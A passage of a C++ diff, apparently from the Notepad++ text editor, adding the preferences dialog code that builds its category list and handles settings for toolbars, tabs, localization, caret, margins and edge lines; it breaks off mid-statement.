_searchEngineDlg.create(IDD_PREFERENCE_SEARCHENGINE_BOX, false, false); + + + _wVector.push_back(DlgInfo(&_barsDlg, TEXT("General"), TEXT("Global"))); + _wVector.push_back(DlgInfo(&_marginsDlg, TEXT("Editing"), TEXT("Scintillas"))); + _wVector.push_back(DlgInfo(&_defaultNewDocDlg, TEXT("New Document"), TEXT("NewDoc"))); + _wVector.push_back(DlgInfo(&_defaultDirectoryDlg, TEXT("Default Directory"), TEXT("DefaultDir"))); + _wVector.push_back(DlgInfo(&_recentFilesHistoryDlg, TEXT("Recent Files History"), TEXT("RecentFilesHistory"))); + _wVector.push_back(DlgInfo(&_fileAssocDlg, TEXT("File Association"), TEXT("FileAssoc"))); + _wVector.push_back(DlgInfo(&_langMenuDlg, TEXT("Language"), TEXT("Language"))); + _wVector.push_back(DlgInfo(&_highlighting, TEXT("Highlighting"), TEXT("Highlighting"))); + _wVector.push_back(DlgInfo(&_printSettingsDlg, TEXT("Print"), TEXT("Print"))); + _wVector.push_back(DlgInfo(&_backupDlg, TEXT("Backup"), TEXT("Backup"))); + _wVector.push_back(DlgInfo(&_autoCompletionDlg, TEXT("Auto-Completion"), TEXT("AutoCompletion"))); + _wVector.push_back(DlgInfo(&_multiInstDlg, TEXT("Multi-Instance"), TEXT("MultiInstance"))); + _wVector.push_back(DlgInfo(&_delimiterSettingsDlg, TEXT("Delimiter"), TEXT("Delimiter"))); + _wVector.push_back(DlgInfo(&_settingsOnCloudDlg, TEXT("Cloud"), TEXT("Cloud"))); + _wVector.push_back(DlgInfo(&_searchEngineDlg, TEXT("Search Engine"), TEXT("SearchEngine"))); + _wVector.push_back(DlgInfo(&_settingsDlg, TEXT("MISC."), TEXT("MISC"))); + + + makeCategoryList(); + RECT rc; + getClientRect(rc); + + rc.top += NppParameters::getInstance()->_dpiManager.scaleY(10); + rc.bottom -= NppParameters::getInstance()->_dpiManager.scaleY(50); + rc.left += NppParameters::getInstance()->_dpiManager.scaleX(150); + + _barsDlg.reSizeTo(rc); + _marginsDlg.reSizeTo(rc); + _settingsDlg.reSizeTo(rc); + _defaultNewDocDlg.reSizeTo(rc); + _defaultDirectoryDlg.reSizeTo(rc); + _recentFilesHistoryDlg.reSizeTo(rc); + _fileAssocDlg.reSizeTo(rc); + _langMenuDlg.reSizeTo(rc); + _highlighting.reSizeTo(rc); + _printSettingsDlg.reSizeTo(rc); + _backupDlg.reSizeTo(rc); + _autoCompletionDlg.reSizeTo(rc); + _multiInstDlg.reSizeTo(rc); + _delimiterSettingsDlg.reSizeTo(rc); + _settingsOnCloudDlg.reSizeTo(rc); + _searchEngineDlg.reSizeTo(rc); + + NppParameters *pNppParam = NppParameters::getInstance(); + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + return TRUE; + } + + case WM_COMMAND : + { + if (LOWORD(wParam) == IDC_LIST_DLGTITLE) + { + if (HIWORD(wParam) == CBN_SELCHANGE) + { + auto i = ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_GETCURSEL, 0, 0); + if (i != LB_ERR) + { + showDialogByIndex(i); + } + } + } + else + { + switch (wParam) + { + case IDC_BUTTON_CLOSE : + case IDCANCEL : + display(false); + return TRUE; + + default : + ::SendMessage(_hParent, WM_COMMAND, wParam, lParam); + return TRUE; + } + } + } + } + return FALSE; +} + +void PreferenceDlg::makeCategoryList() +{ + for (size_t i = 0, len = _wVector.size(); i < len; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_ADDSTRING, 0, reinterpret_cast(_wVector[i]._name.c_str())); + } + setListSelection(0); +} + +int32_t PreferenceDlg::getIndexFromName(const TCHAR *name) const +{ + if (not name) + return -1; + + int32_t i = 0; + for (auto it = _wVector.begin() ; it != _wVector.end(); ++it, ++i) + { + if (it->_internalName == name) + return i; + } + return -1; +} + +void PreferenceDlg::setListSelection(size_t currentSel) const +{ + // Stupid LB API doesn't allow LB_SETSEL to be used on single select listbox, so we do it in a hard way + TCHAR selStr[256]; + ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_GETTEXT, currentSel, reinterpret_cast(selStr)); + ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_SELECTSTRING, currentSel, reinterpret_cast(selStr)); +} + +bool PreferenceDlg::renameDialogTitle(const TCHAR *internalName, const TCHAR *newName) +{ + bool foundIt = false; + size_t i = 0; + for (size_t len = _wVector.size(); i < len; ++i) + { + if (_wVector[i]._internalName == internalName) + { + foundIt = true; + break; + } + } + if (!foundIt) + return false; + + const size_t lenMax = 256; + TCHAR oldName[lenMax] = {0}; + size_t txtLen = ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_GETTEXTLEN, i, 0); + if (txtLen >= lenMax) + return false; + + ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_GETTEXT, i, reinterpret_cast(oldName)); + + // Same name, no need to change, but operation is considered success + if (lstrcmp(newName, oldName) == 0) + return true; + + ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_DELETESTRING, i, 0); + ::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_INSERTSTRING, i, reinterpret_cast(newName)); + + return true; +} + +void PreferenceDlg::showDialogByName(const TCHAR *name) const +{ + int32_t i = getIndexFromName(name); + if (i >= 0) + { + showDialogByIndex(i); + setListSelection(i); + } +} + + +void PreferenceDlg::showDialogByIndex(size_t index) const +{ + size_t len = _wVector.size(); + for (size_t i = 0; i < len; ++i) + { + _wVector[i]._dlg->display(false); + } + _wVector[index]._dlg->display(true); +} + +void PreferenceDlg::destroy() +{ + _barsDlg.destroy(); + _marginsDlg.destroy(); + _settingsDlg.destroy(); + _fileAssocDlg.destroy(); + _langMenuDlg.destroy(); + _highlighting.destroy(); + _printSettingsDlg.destroy(); + _defaultNewDocDlg.destroy(); + _defaultDirectoryDlg.destroy(); + _recentFilesHistoryDlg.destroy(); + _backupDlg.destroy(); + _autoCompletionDlg.destroy(); + _multiInstDlg.destroy(); + _delimiterSettingsDlg.destroy(); +} + +INT_PTR CALLBACK BarsDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + + switch (message) + { + case WM_INITDIALOG : + { + const NppGUI & nppGUI = pNppParam->getNppGUI(); + toolBarStatusType tbStatus = nppGUI._toolBarStatus; + int tabBarStatus = nppGUI._tabStatus; + bool showTool = nppGUI._toolbarShow; + bool showStatus = nppGUI._statusBarShow; + bool showMenu = nppGUI._menuBarShow; + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_HIDE, BM_SETCHECK, showTool?BST_UNCHECKED:BST_CHECKED, 0); + int ID2Check = 0; + switch (tbStatus) + { + case TB_SMALL : + ID2Check = IDC_RADIO_SMALLICON; + break; + case TB_LARGE : + ID2Check = IDC_RADIO_BIGICON; + break; + case TB_STANDARD: + default : + ID2Check = IDC_RADIO_STANDARD; + } + ::SendDlgItemMessage(_hSelf, ID2Check, BM_SETCHECK, BST_CHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_REDUCE, BM_SETCHECK, tabBarStatus & TAB_REDUCE, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_LOCK, BM_SETCHECK, !(tabBarStatus & TAB_DRAGNDROP), 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ORANGE, BM_SETCHECK, tabBarStatus & TAB_DRAWTOPBAR, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DRAWINACTIVE, BM_SETCHECK, tabBarStatus & TAB_DRAWINACTIVETAB, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_ENABLETABCLOSE, BM_SETCHECK, tabBarStatus & TAB_CLOSEBUTTON, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DBCLICK2CLOSE, BM_SETCHECK, tabBarStatus & TAB_DBCLK2CLOSE, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_TAB_VERTICAL, BM_SETCHECK, tabBarStatus & TAB_VERTICAL, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_TAB_MULTILINE, BM_SETCHECK, tabBarStatus & TAB_MULTILINE, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_TAB_LAST_EXIT, BM_SETCHECK, tabBarStatus & TAB_QUITONEMPTY, 0); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_TAB_HIDE, BM_SETCHECK, tabBarStatus & TAB_HIDE, 0); + ::SendMessage(_hSelf, WM_COMMAND, IDC_CHECK_TAB_HIDE, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SHOWSTATUSBAR, BM_SETCHECK, showStatus, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_HIDEMENUBAR, BM_SETCHECK, !showMenu, 0); + + bool showDocSwitcher = ::SendMessage(::GetParent(_hParent), NPPM_ISDOCSWITCHERSHOWN, 0, 0) == TRUE; + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DOCSWITCH, BM_SETCHECK, showDocSwitcher, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DOCSWITCH_NOEXTCOLUMN, BM_SETCHECK, nppGUI._fileSwitcherWithoutExtColumn, 0); + + LocalizationSwitcher & localizationSwitcher = pNppParam->getLocalizationSwitcher(); + + for (size_t i = 0, len = localizationSwitcher.size(); i < len ; ++i) + { + pair localizationInfo = localizationSwitcher.getElementFromIndex(i); + ::SendDlgItemMessage(_hSelf, IDC_COMBO_LOCALIZATION, CB_ADDSTRING, 0, reinterpret_cast(localizationInfo.first.c_str())); + } + wstring lang = TEXT("English"); // Set default language as Englishs + if (pNppParam->getNativeLangA()) // if nativeLangA is not NULL, then we can be sure the default language (English) is not used + { + string fn = localizationSwitcher.getFileName(); + wstring fnW(fn.begin(), fn.end()); + fnW.assign(fn.begin(), fn.end()); + lang = localizationSwitcher.getLangFromXmlFileName(fnW.c_str()); + } + auto index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_LOCALIZATION, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(lang.c_str())); + if (index != CB_ERR) + ::SendDlgItemMessage(_hSelf, IDC_COMBO_LOCALIZATION, CB_SETCURSEL, index, 0); + + ETDTProc enableDlgTheme = reinterpret_cast(pNppParam->getEnableThemeDlgTexture()); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_CHECK_SHOWSTATUSBAR : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_SHOWSTATUSBAR, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_HIDESTATUSBAR, 0, isChecked?FALSE:TRUE); + } + return TRUE; + + case IDC_CHECK_HIDEMENUBAR : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_HIDEMENUBAR, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_HIDEMENU, 0, isChecked?TRUE:FALSE); + } + return TRUE; + + case IDC_CHECK_DOCSWITCH : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_DOCSWITCH, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_SHOWDOCSWITCHER, 0, isChecked?TRUE:FALSE); + getFocus(); + } + return TRUE; + case IDC_CHECK_DOCSWITCH_NOEXTCOLUMN : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_DOCSWITCH_NOEXTCOLUMN, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_DOCSWITCHERDISABLECOLUMN, 0, isChecked?TRUE:FALSE); + } + return TRUE; + + case IDC_CHECK_TAB_HIDE : + { + bool toBeHidden = (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_CHECK_TAB_HIDE), BM_GETCHECK, 0, 0)); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_TAB_MULTILINE), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_TAB_VERTICAL), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_REDUCE), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_LOCK), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_ORANGE), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_DRAWINACTIVE), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_ENABLETABCLOSE), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_DBCLICK2CLOSE), !toBeHidden); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_TAB_LAST_EXIT), !toBeHidden); + + ::SendMessage(::GetParent(_hParent), NPPM_HIDETABBAR, 0, toBeHidden); + return TRUE; + } + + case IDC_CHECK_TAB_VERTICAL: + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DRAWTABBAR_VERTICAL, 0); + return TRUE; + + case IDC_CHECK_TAB_MULTILINE : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DRAWTABBAR_MULTILINE, 0); + return TRUE; + + case IDC_CHECK_TAB_LAST_EXIT: + { + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + nppGUI._tabStatus ^= TAB_QUITONEMPTY; + } + return TRUE; + + + case IDC_CHECK_REDUCE : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_REDUCETABBAR, 0); + return TRUE; + + case IDC_CHECK_LOCK : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_LOCKTABBAR, 0); + return TRUE; + + case IDC_CHECK_ORANGE : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DRAWTABBAR_TOPBAR, 0); + return TRUE; + + case IDC_CHECK_DRAWINACTIVE : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DRAWTABBAR_INACIVETAB, 0); + return TRUE; + + case IDC_CHECK_ENABLETABCLOSE : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DRAWTABBAR_CLOSEBOTTUN, 0); + return TRUE; + + case IDC_CHECK_DBCLICK2CLOSE : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_DRAWTABBAR_DBCLK2CLOSE, 0); + return TRUE; + + case IDC_CHECK_HIDE : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_HIDE, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_HIDETOOLBAR, 0, isChecked?TRUE:FALSE); + } + return TRUE; + + case IDC_RADIO_SMALLICON : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_TOOLBAR_REDUCE, 0); + return TRUE; + + case IDC_RADIO_BIGICON : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_TOOLBAR_ENLARGE, 0); + return TRUE; + + case IDC_RADIO_STANDARD : + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_TOOLBAR_STANDARD, 0); + return TRUE; + + default : + switch (HIWORD(wParam)) + { + case CBN_SELCHANGE : // == case LBN_SELCHANGE : + { + switch (LOWORD(wParam)) + { + case IDC_COMBO_LOCALIZATION : + { + LocalizationSwitcher & localizationSwitcher = pNppParam->getLocalizationSwitcher(); + auto index = ::SendDlgItemMessage(_hSelf, IDC_COMBO_LOCALIZATION, CB_GETCURSEL, 0, 0); + wchar_t langName[MAX_PATH]; + ::SendDlgItemMessage(_hSelf, IDC_COMBO_LOCALIZATION, CB_GETLBTEXT, index, reinterpret_cast(langName)); + if (langName[0]) + { + + // Make English as basic language + if (localizationSwitcher.switchToLang(TEXT("English"))) + { + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RELOADNATIVELANG, 0, 0); + } + // Change the language + if (localizationSwitcher.switchToLang(langName)) + { + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_RELOADNATIVELANG, 0, 0); + ::InvalidateRect(_hParent, NULL, TRUE); + } + } + } + return TRUE; + default: + break; + } + } + } + } + } + } + return FALSE; +} + + +void MarginsDlg::initScintParam() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + const ScintillaViewParams & svp = pNppParam->getSVP(); + + ::SendDlgItemMessage(_hSelf, IDC_RADIO_BOX, BM_SETCHECK, FALSE, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_CIRCLE, BM_SETCHECK, FALSE, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_ARROW, BM_SETCHECK, FALSE, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_SIMPLE, BM_SETCHECK, FALSE, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_FOLDMARGENONE, BM_SETCHECK, FALSE, 0); + + int id = 0; + switch (svp._folderStyle) + { + case FOLDER_STYLE_NONE: + id = IDC_RADIO_FOLDMARGENONE; + break; + case FOLDER_STYLE_BOX: + id = IDC_RADIO_BOX; + break; + case FOLDER_STYLE_CIRCLE: + id = IDC_RADIO_CIRCLE; + break; + case FOLDER_STYLE_ARROW: + id = IDC_RADIO_ARROW; + break; + default : // FOLDER_STYLE_SIMPLE: + id = IDC_RADIO_SIMPLE; + } + ::SendDlgItemMessage(_hSelf, id, BM_SETCHECK, TRUE, 0); + + switch (svp._lineWrapMethod) + { + case LINEWRAP_ALIGNED: + id = IDC_RADIO_LWALIGN; + break; + case LINEWRAP_INDENT: + id = IDC_RADIO_LWINDENT; + break; + default : // LINEWRAP_DEFAULT + id = IDC_RADIO_LWDEF; + } + ::SendDlgItemMessage(_hSelf, id, BM_SETCHECK, TRUE, 0); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMOOTHFONT, BM_SETCHECK, svp._doSmoothFont, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_LINENUMBERMARGE, BM_SETCHECK, svp._lineNumberMarginShow, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_BOOKMARKMARGE, BM_SETCHECK, svp._bookMarkMarginShow, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_CURRENTLINEHILITE, BM_SETCHECK, svp._currentLineHilitingShow, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SCROLLBEYONDLASTLINE, BM_SETCHECK, svp._scrollBeyondLastLine, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_DISABLEADVANCEDSCROLL, BM_SETCHECK, svp._disableAdvancedScrolling, 0); + + ::SendDlgItemMessage(_hSelf, IDC_CHECK_NOEDGE, BM_SETCHECK, !svp._showBorderEdge, 0); + + bool isEnable = !(svp._edgeMode == EDGE_NONE); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_SHOWVERTICALEDGE, BM_SETCHECK, isEnable, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_LNMODE, BM_SETCHECK, (svp._edgeMode == EDGE_LINE), 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_BGMODE, BM_SETCHECK, (svp._edgeMode == EDGE_BACKGROUND), 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_RADIO_LNMODE), isEnable); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_RADIO_BGMODE), isEnable); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_NBCOLONE_STATIC), isEnable); + + ::SetDlgItemInt(_hSelf, IDC_COLONENUMBER_STATIC, svp._edgeNbColumn, FALSE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_COLONENUMBER_STATIC), isEnable); + +} + + +INT_PTR CALLBACK MarginsDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + switch (message) + { + case WM_INITDIALOG : + { + _verticalEdgeLineNbColVal.init(_hInst, _hSelf); + _verticalEdgeLineNbColVal.create(::GetDlgItem(_hSelf, IDC_COLONENUMBER_STATIC), IDC_COLONENUMBER_STATIC); + + ::SendDlgItemMessage(_hSelf, IDC_WIDTH_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("0"))); + ::SendDlgItemMessage(_hSelf, IDC_WIDTH_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("1"))); + ::SendDlgItemMessage(_hSelf, IDC_WIDTH_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("2"))); + ::SendDlgItemMessage(_hSelf, IDC_WIDTH_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("3"))); + ::SendDlgItemMessage(_hSelf, IDC_WIDTH_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("Block"))); + + + ::SendMessage(::GetDlgItem(_hSelf, IDC_WIDTH_COMBO), CB_SETCURSEL, nppGUI._caretWidth, 0); + ::SendDlgItemMessage(_hSelf, IDC_CHECK_MULTISELECTION, BM_SETCHECK, nppGUI._enableMultiSelection, 0); + + ::SendMessage(::GetDlgItem(_hSelf, IDC_CARETBLINKRATE_SLIDER),TBM_SETRANGEMIN, TRUE, BLINKRATE_FASTEST); + ::SendMessage(::GetDlgItem(_hSelf, IDC_CARETBLINKRATE_SLIDER),TBM_SETRANGEMAX, TRUE, BLINKRATE_SLOWEST); + ::SendMessage(::GetDlgItem(_hSelf, IDC_CARETBLINKRATE_SLIDER),TBM_SETPAGESIZE, 0, BLINKRATE_INTERVAL); + int blinkRate = (nppGUI._caretBlinkRate==0)?BLINKRATE_SLOWEST:nppGUI._caretBlinkRate; + ::SendMessage(::GetDlgItem(_hSelf, IDC_CARETBLINKRATE_SLIDER),TBM_SETPOS, TRUE, blinkRate); + + ::SendMessage(::GetDlgItem(_hSelf, IDC_BORDERWIDTH_SLIDER),TBM_SETRANGEMIN, TRUE, BORDERWIDTH_SMALLEST); + ::SendMessage(::GetDlgItem(_hSelf, IDC_BORDERWIDTH_SLIDER),TBM_SETRANGEMAX, TRUE, BORDERWIDTH_LARGEST); + ::SendMessage(::GetDlgItem(_hSelf, IDC_BORDERWIDTH_SLIDER),TBM_SETPAGESIZE, 0, BLINKRATE_INTERVAL); + const ScintillaViewParams & svp = pNppParam->getSVP(); + ::SendMessage(::GetDlgItem(_hSelf, IDC_BORDERWIDTH_SLIDER),TBM_SETPOS, TRUE, svp._borderWidth); + ::SetDlgItemInt(_hSelf, IDC_BORDERWIDTHVAL_STATIC, svp._borderWidth, FALSE); + + initScintParam(); + + ETDTProc enableDlgTheme = (ETDTProc)pNppParam->getEnableThemeDlgTexture(); + if (enableDlgTheme) + enableDlgTheme(_hSelf, ETDT_ENABLETAB); + return TRUE; + } + + case WM_HSCROLL: + { + HWND hCaretBlikRateSlider = ::GetDlgItem(_hSelf, IDC_CARETBLINKRATE_SLIDER); + HWND hBorderWidthSlider = ::GetDlgItem(_hSelf, IDC_BORDERWIDTH_SLIDER); + if (reinterpret_cast(lParam) == hCaretBlikRateSlider) + { + auto blinkRate = ::SendMessage(hCaretBlikRateSlider, TBM_GETPOS, 0, 0); + if (blinkRate == BLINKRATE_SLOWEST) + blinkRate = 0; + nppGUI._caretBlinkRate = static_cast(blinkRate); + + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETCARETBLINKRATE, 0, 0); + } + else if (reinterpret_cast(lParam) == hBorderWidthSlider) + { + auto borderWidth = ::SendMessage(hBorderWidthSlider, TBM_GETPOS, 0, 0); + ScintillaViewParams & svp = (ScintillaViewParams &)pNppParam->getSVP(); + svp._borderWidth = static_cast(borderWidth); + ::SetDlgItemInt(_hSelf, IDC_BORDERWIDTHVAL_STATIC, static_cast(borderWidth), FALSE); + ::SendMessage(::GetParent(_hParent), WM_SIZE, 0, 0); + } + return 0; //return zero when handled + } + + case WM_COMMAND : + { + ScintillaViewParams & svp = (ScintillaViewParams &)pNppParam->getSVP(); + switch (wParam) + { + case IDC_CHECK_SMOOTHFONT: + svp._doSmoothFont = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_SMOOTHFONT, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_SETSMOOTHFONT, 0, svp._doSmoothFont); + return TRUE; + case IDC_CHECK_LINENUMBERMARGE: + svp._lineNumberMarginShow = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_LINENUMBERMARGE, BM_GETCHECK, 0, 0)); + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_LINENUMBER, 0); + return TRUE; + + case IDC_CHECK_BOOKMARKMARGE: + svp._bookMarkMarginShow = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_BOOKMARKMARGE, BM_GETCHECK, 0, 0)); + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_SYMBOLMARGIN, 0); + return TRUE; + + case IDC_CHECK_CURRENTLINEHILITE: + svp._currentLineHilitingShow = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_CURRENTLINEHILITE, BM_GETCHECK, 0, 0)); + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_CURLINE_HILITING, 0); + return TRUE; + + case IDC_CHECK_SCROLLBEYONDLASTLINE: + svp._scrollBeyondLastLine = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_SCROLLBEYONDLASTLINE, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SCROLLBEYONDLASTLINE, 0, 0); + return TRUE; + + case IDC_CHECK_DISABLEADVANCEDSCROLL: + svp._disableAdvancedScrolling = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_DISABLEADVANCEDSCROLL, BM_GETCHECK, 0, 0)); + return TRUE; + + case IDC_CHECK_MULTISELECTION : + nppGUI._enableMultiSelection = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_MULTISELECTION, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETMULTISELCTION, 0, 0); + return TRUE; + + case IDC_CHECK_NOEDGE: + svp._showBorderEdge = !(BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_NOEDGE, BM_GETCHECK, 0, 0)); + ::SendMessage(::GetParent(_hParent), NPPM_SETEDITORBORDEREDGE, 0, svp._showBorderEdge ? TRUE : FALSE); + return TRUE; + + case IDC_RADIO_SIMPLE: + svp._folderStyle = FOLDER_STYLE_SIMPLE; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FOLDERMAGIN_SIMPLE, 0); + return TRUE; + case IDC_RADIO_ARROW: + svp._folderStyle = FOLDER_STYLE_ARROW; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FOLDERMAGIN_ARROW, 0); + return TRUE; + case IDC_RADIO_CIRCLE: + svp._folderStyle = FOLDER_STYLE_CIRCLE; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FOLDERMAGIN_CIRCLE, 0); + return TRUE; + case IDC_RADIO_BOX: + svp._folderStyle = FOLDER_STYLE_BOX; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FOLDERMAGIN_BOX, 0); + return TRUE; + + case IDC_RADIO_FOLDMARGENONE: + svp._folderStyle = FOLDER_STYLE_NONE; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_FOLDERMAGIN, 0); + return TRUE; + + case IDC_CHECK_SHOWVERTICALEDGE: + { + int modeID = 0; + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_SHOWVERTICALEDGE, BM_GETCHECK, 0, 0)); + if (isChecked) + { + ::SendDlgItemMessage(_hSelf, IDC_RADIO_LNMODE, BM_SETCHECK, TRUE, 0); + svp._edgeMode = EDGE_LINE; + modeID = IDM_VIEW_EDGELINE; + } + else + { + ::SendDlgItemMessage(_hSelf, IDC_RADIO_LNMODE, BM_SETCHECK, FALSE, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_BGMODE, BM_SETCHECK, FALSE, 0); + svp._edgeMode = EDGE_NONE; + modeID = IDM_VIEW_EDGENONE; + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_RADIO_LNMODE), isChecked); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_RADIO_BGMODE), isChecked); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_NBCOLONE_STATIC), isChecked); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_COLONENUMBER_STATIC), isChecked); + + ::SendMessage(_hParent, WM_COMMAND, modeID, 0); + return TRUE; + } + case IDC_RADIO_LNMODE: + svp._edgeMode = EDGE_LINE; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_EDGELINE, 0); + return TRUE; + + case IDC_RADIO_BGMODE: + svp._edgeMode = EDGE_BACKGROUND; + ::SendMessage(_hParent, WM_COMMAND, IDM_VIEW_EDGEBACKGROUND, 0); + return TRUE; + + case IDC_COLONENUMBER_STATIC: + { + ScintillaViewParams & svp = (ScintillaViewParams &)pNppParam->getSVP(); + + ValueDlg nbColumnEdgeDlg; + nbColumnEdgeDlg.init(NULL, _hSelf, svp._edgeNbColumn, TEXT("Nb of column:")); + nbColumnEdgeDlg.setNBNumber(3); + + POINT p; + ::GetCursorPos(&p); + + int val = nbColumnEdgeDlg.doDialog(p); + if (val != -1) + { + svp._edgeNbColumn = val; + ::SetDlgItemInt(_hSelf, 